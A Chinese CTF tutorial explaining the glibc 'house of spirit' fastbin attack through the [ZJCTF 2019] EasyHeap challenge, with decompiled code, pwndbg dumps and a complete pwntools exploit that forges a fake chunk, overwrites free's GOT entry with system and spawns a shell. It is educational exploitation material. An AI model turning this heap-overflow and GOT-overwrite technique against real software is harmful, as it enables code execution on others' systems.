GDB调试堆漏洞之house of spirit
何为house of spirit？
该技术出自于2005年的The Malloc Maleficarum这篇文章，是一种用于获得某块内存区域控制权的技术
例如一个位于fastbin的区块是不可控的，但是我们希望对其进行读写操作只需他刚好满足以下两个条件即可。
第一，改区域的前后内存可控（通俗来讲就是堆溢出）
第二，存在一个可控指针作为free()函数的参数(此处通俗讲就是控制chunk 的fd或者bk指针),通过堆排布，
伪造fake chunk让他进入到fastbins，下次我们用同样大小的内存申请一个chunk就可以把这个chunk取出，从而得到控制权。
本文涉及相关实验：ARM漏洞利用技术五--堆溢出 （在堆的情况下，当用户能够写入比预期更多的数据时，会发生内存损坏。通过本实验了解堆溢出，包括intra-chunk和inter-chunk两种类型，分别掌握其特点。）
今天我用一道例题来讲解如何从一个新手掌握GDB调试house of spirit的利用思想
题目：[ZJCTF 2019]EasyHeap
题目可在BUU上搜索得到
checksec如下
q@ubuntu:~/Desktop$ checksec easyheap[*] '/home/q/Desktop/easyheap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
先看main函数里面一个点
v3==4869 然后magic>=0x1305就可以进入到后门
不过这个是假的后门远程没有这个路径
接着就是没用输出功能，可能会选择劫持stdout或者使用house of spirit
我们先继续分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int v3; // eax char buf[8]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); while ( 1 ) { while ( 1 ) { menu(); read(0, buf, 8uLL); v3 = atoi(buf); if ( v3 != 3 ) break; delete_heap(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit(0); if ( v3 == 4869 ) { if ( (unsigned __int64)magic <= 0x1305 ) { puts("So sad !"); } else { puts("Congrt !"); l33t(); } } else {LABEL_17: puts("Invalid Choice"); } } else if ( v3 == 1 ) { create_heap(); } else { if ( v3 != 2 ) goto LABEL_17; edit_heap(); } }}
一个个函数看下去，发现漏洞点在edit那里
（create那的话 chunk大小没限制，可惜这里没有输出功能不然利用mmap的特性直接泄露libc也是可以的，如果还是想的话配合劫持stdout也可以，只不过过于麻烦）
漏洞如下这小部分代码，堆的大小创建后不可更改，但是他可以更改输入内容的大小，意味着这里存在堆溢出
if ( *(&heaparray + v1) ) { printf("Size of Heap : "); read(0, buf, 8uLL); v2 = atoi(buf); printf("Content of heap : "); read_input(*(&heaparray + v1), v2); puts("Done !"); }
edit()
unsigned __int64 edit_heap(){ int v1; // [rsp+4h] [rbp-1Ch] __int64 v2; // [rsp+8h] [rbp-18h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 < 0 || v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + v1) ) { printf("Size of Heap : "); read(0, buf, 8uLL); v2 = atoi(buf); printf("Content of heap : "); read_input(*(&heaparray + v1), v2); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v4;}
整合信息（前置知识fastbin attack+unsortedbin）
（简单的说就是如下这样）
其中①②③⑧⑨是fastbin attack需要做的，④⑤⑥⑦是unsortedbin attack需要做的：①malloc fastchunk 0x70。②free掉fastchunk。③将fastchunk的fd变为target。④malloc 0x100。⑤free 0x100。⑥change 0x100+0x8的位置改为target（就是bk的位置）。⑦malloc 0x100，此时arena的地址被写入target中去了。⑧malloc 0x70，将第一次malloc的堆块取出来，使fastbin中只有target。⑨再次malloc 0x70 ==>就是取出target。
结论：
上面简单分析了下，我们有了堆溢出，有了system函数和free()函数，对于house of spirit 来说是完美条件
可以利用堆溢出进行构造fake chunk进而修改该chunk的fd或者bk指针，顺带写入/bin/sh
接下来利用house of spirit去更改free的got表指向system的plt，最后执行free就可以getshell
下面进行详细的分析
详细解答
那么我们可以从构造fake chunk控制堆的任意内容
（prev_size，fd，bk，堆的输入内容）
我们先来看下正常的chunk长什么样子
（部分脚本，脚本后面就是chunk）
from pwn import *
context.log_level = 'debug'
def pause_debug():
log.info(proc.pidof(p))
pause()
def create(size, content):
p.sendlineafter('choice :', str(1))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap:', content)
def edit(idx, size, content):
p.sendlineafter('choice :', str(2))
p.sendlineafter('Index :', str(idx))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap :', content)
def delete(idx):
p.sendlineafter('choice :', str(3))
p.sendlineafter('Index :', str(idx))
proc_name = './easyheap'
p = process(proc_name)
#p = remote('node3.buuoj.cn', 27185)
elf = ELF(proc_name)
create(0x68, b'woaini') # 0
create(0x68, b'a') # 1
create(0x68, b'a') # 2
gdb.attach(p)
chunk 我们先找到我们存放输入内容的地方，我们刚才创建的堆的大小都是0x70的
但是实际上我们没有那么多空间可以利用的，在0x2545070此处存放的是chunk的大小
下面的地方0x2545070 前面8个字节存放fd(前驱)指针，后面八个字节存放bk(后继)指针
（这里先说个思维，逆向思维！非常重要是做pwn题目的基础。 这里的堆的结构体是最基础的只有一项内容，要是多来几项呢？ 比如 一本书的ID 名字 内容等等，他在gdb调试后所呈现的具体存放位置关系是怎么样的呢，我们要如何才能修改都是需要从ida里面逆向分析得到在利用gdb调试获取信息 这里推荐一道buu的题目关于off by null的知识点的但是如果你成功的攻破后，逆向能力会有不小的提升题目： asis2016_b00ks
pwndbg> search woaini[heap] 0x2545010 0x696e69616f77 /* 'woaini' */warning: Unable to access 16000 bytes of target memory at 0x7f810c08ed05, halting search.pwndbg> x/32gx 0x25450100x2545010: 0x0000696e69616f77 0x00000000000000000x2545020: 0x0000000000000000 0x00000000000000000x2545030: 0x0000000000000000 0x00000000000000000x2545040: 0x0000000000000000 0x00000000000000000x2545050: 0x0000000000000000 0x00000000000000000x2545060: 0x0000000000000000 0x00000000000000000x2545070: 0x0000000000000000 0x00000000000000710x2545080: 0x0000000000000061 0x0000000000000000
上面我们讲了正常的堆块的模样，下面我们来对他进行修整，做成我们的fake chunk
为了让这个fake chunk被检测机制所认可，这里我们需要修改prev_size令他等于1
也就是找到存放0x7f的地址我们可以从IDA里面先看看然后配合GDB去寻找
IDA的chunk开始的地方在该程序里面叫heaparray
我们向上寻找，从尾地址为A0的地方开始到B0夹杂着libc
我们都明白libc的开头就是0X7f 那么我们可以不限麻烦的在gdb从0x6020A0开始往下面开
最后发现在本程序中0x6020AD的内容就是0x7f
（输入命令x/32gx 0x6020AD）
.bss:00000000006020A0 ; ===========================================================================.bss:00000000006020A0.bss:00000000006020A0 ; Segment type: Uninitialized.bss:00000000006020A0 ; Segment permissions: Read/Write.bss:00000000006020A0 _bss segment align_32 public 'BSS' use64.bss:00000000006020A0 assume cs:_bss.bss:00000000006020A0 ;org 6020A0h.bss:00000000006020A0 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing.bss:00000000006020A0 public stdout@@GLIBC_2_2_5.bss:00000000006020A0 ; FILE *stdout.bss:00000000006020A0 stdout@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400410↑o.bss:00000000006020A0 ; main+17↑r.bss:00000000006020A0 ; Alternative name is 'stdout'.bss:00000000006020A0 ; Copy of shared data.bss:00000000006020A8 align 10h.bss:00000000006020B0 public stdin@@GLIBC_2_2_5.bss:00000000006020B0 ; FILE *stdin.bss:00000000006020B0 stdin@@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:0000000000400428↑o.bss:00000000006020B0 ; main+35↑r.bss:00000000006020B0 ; Alternative name is 'stdin'.bss:00000000006020B0 ; Copy of shared data.bss:00000000006020B8 completed_7594 db ? ; DATA XREF: __do_global_dtors_aux↑r.bss:00000000006020B8 ; __do_global_dtors_aux+13↑w.bss:00000000006020B9 align 20h.bss:00000000006020C0 public magic.bss:00000000006020C0 magic dq ? ; DATA XREF: main:loc_400D05↑r.bss:00000000006020C8 align 20h.bss:00000000006020E0 public heaparray.bss:00000000006020E0 ; void *heaparray.bss:00000000006020E0 heaparray dq ? ; DATA XREF: create_heap+30↑r.bss:00000000006020E0 ; create_heap+8C↑w ...
（包含0x7f结尾的）
pwndbg> x/32gx 0x6020AD0x6020ad: 0x07fea398e0000000 0x000000000000007f0x6020bd: 0x0000000000000000 0x0000000000000000
下面上构造fake chunk 的脚本
delete(2) edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad)) gdb.attach(p) create(0x68, b'b') # 2 create(0x68, b'b') # 3 fake_chunk edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free'])) edit(0, 0x8, p64(elf.plt['system'])) delete(1) p.interactive()
我们这里的fake chunk选的是chunk 1 释放chunk2是为了让他的fd指针指向chunk1
接着利用如下语句，写入内容的大小改为0x78(实际上大小为0x70)，然后传入/bin/sh后填充\x00到达我们的chunk size保持大小不变依然是0x71，接着传入0x6020ad也就是上面提到的0x7f的地址为了让这个chunk1 fake chunk被程序检测所认可
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
下面我们来看看修改好的QWQ
为什么是0x68,gdb已经给我们很好的结果了。/bin/sh占位就是8个字节（0x0068732f6e69622f），我们从0x80到0xe0共计0x60加上0x80后面的0x88那部分空白合并起来就是0x68了 然后传入0x71和0x6020ad 我们的fake chunk就好了
pwndbg> search /bin/sh[heap] 0x1be8080 0x68732f6e69622f /* '/bin/sh' */libc-2.23.so 0x7f355118be57 0x68732f6e69622f /* '/bin/sh' */warning: Unable to access 16000 bytes of target memory at 0x7f35511c6d06, halting search.pwndbg> x/32gx 0x1be80800x1be8080: 0x0068732f6e69622f 0x00000000000000000x1be8090: 0x0000000000000000 0x00000000000000000x1be80a0: 0x0000000000000000 0x00000000000000000x1be80b0: 0x0000000000000000 0x00000000000000000x1be80c0: 0x0000000000000000 0x00000000000000000x1be80d0: 0x0000000000000000 0x00000000000000000x1be80e0: 0x0000000000000000 0x00000000000000710x1be80f0: 0x00000000006020ad 0x0000000000000000
fake chunk一号准备完成
下面我们改free的got表为system的plt表，（不理解什么是got和plt的可以去康康知乎上的文章，简单说就是plt寻址got，然后got寻址真正地址去执行函数，我们在这把free的got改成system的plt）之后咋们执行free操作就是相当于执行system操作了
为什么是0x23大小的junk数据传入？
create(0x68, b'b') # 2create(0x68, b'b') # 3 fake_chunkedit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))edit(0, 0x8, p64(elf.plt['system']))delete(1)p.interactive()
这里可以用GDB调试来看下（做pwn题离不开GDB的调试必须要有耐心）
pwndbg> search ccccccccceasyheap 0x6020bd 0x6363636363636363 ('cccccccc')easyheap 0x6020c6 0x6363636363636363 ('cccccccc')easyheap 0x6020cf 0x6363636363636363 ('cccccccc')warning: Unable to access 16000 bytes of target memory at 0x7f50d863ed08, halting search.pwndbg> x/32gx 0x6020bd0x6020bd: 0x6363636363636363 0x63636363636363630x6020cd: 0x6363636363636363 0x63636363636363630x6020dd: 0x0000602018636363 0x0001dd80800000000x6020ed <heaparray+13>: 0x0001dd80f0000000 0x00006020bd0000000x6020fd <heaparray+29>: 0x0000000000000000 0x00000000000000000x60210d <heaparray+45>: 0x0000000000000000 0x00000000000000000x60211d <heaparray+61>: 0x0000000000000000 0x00000000000000000x60212d <heaparray+77>: 0x0000000000000000 0x0000000000000000
可以看见在0x6020dd上有我们传入的got表0x0000602018我们再看看heaparray上的数据内容
pwndbg> x/32gx 0x6020ed-130x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd80800x6020f0 <heaparray+16>: 0x0000000001dd80f0 0x00000000006020bd0x602100 <heaparray+32>: 0x0000000000000000 0x00000000000000000x602110 <heaparray+48>: 0x0000000000000000 0x00000000000000000x602120 <heaparray+64>: 0x0000000000000000 0x0000000000000000
0x00000000006020bd该地址指向我们的chunk3存放的内容0x0000000001dd80f0该地址为指向我们的chunk3存放的内容的地址其真实起始点地址是0x1dd80e0 如下pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x1dd8000Size: 0x71
Allocated chunk | PREV_INUSEAddr: 0x1dd8070Size: 0x71
Allocated chunk | PREV_INUSE #chunk3Addr: 0x1dd80e0Size: 0x71
Top chunk | PREV_INUSEAddr: 0x1dd8150Size: 0x20eb1
而heaparray0x6020e0 <heaparray>: 0x0000000000602018 0x0000000001dd8080指向我们的free()的got表
关于为什么选择edit(0, 0x8, p64(elf.plt['system']))这样传入并没有太多用意，p64(elf.plt['system'])刚好八个字节
这里篇幅有限，若有兴趣可以寻找资料学习
EXP:
from pwn import *
context.log_level = 'debug'
def pause_debug():
log.info(proc.pidof(p))
pause()
def create(size, content):
p.sendlineafter('choice :', str(1))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap:', content)
def edit(idx, size, content):
p.sendlineafter('choice :', str(2))
p.sendlineafter('Index :', str(idx))
p.sendlineafter('Heap :', str(size))
p.sendafter('heap :', content)
def delete(idx):
p.sendlineafter('choice :', str(3))
p.sendlineafter('Index :', str(idx))
proc_name = './easyheap'
p = process(proc_name)
#p = remote('node3.buuoj.cn', 27185)
elf = ELF(proc_name)
create(0x68, b'woaini') # 0
create(0x68, b'a') # 1
create(0x68, b'a') # 2
#gdb.attach(p)
delete(2)
edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))
#gdb.attach(p)
create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()
心得简述：
做PWN题非常考验耐心与基础，IDA的逆向分析是最为主要的一步，一定要静下来看伪代码和汇编
有了多种思路不要嫌麻烦一定要上机去用GDB一步步调试。会了各种套路技巧固然厉害，但是没有牢固
的逆向基础和调试能力是走不远的。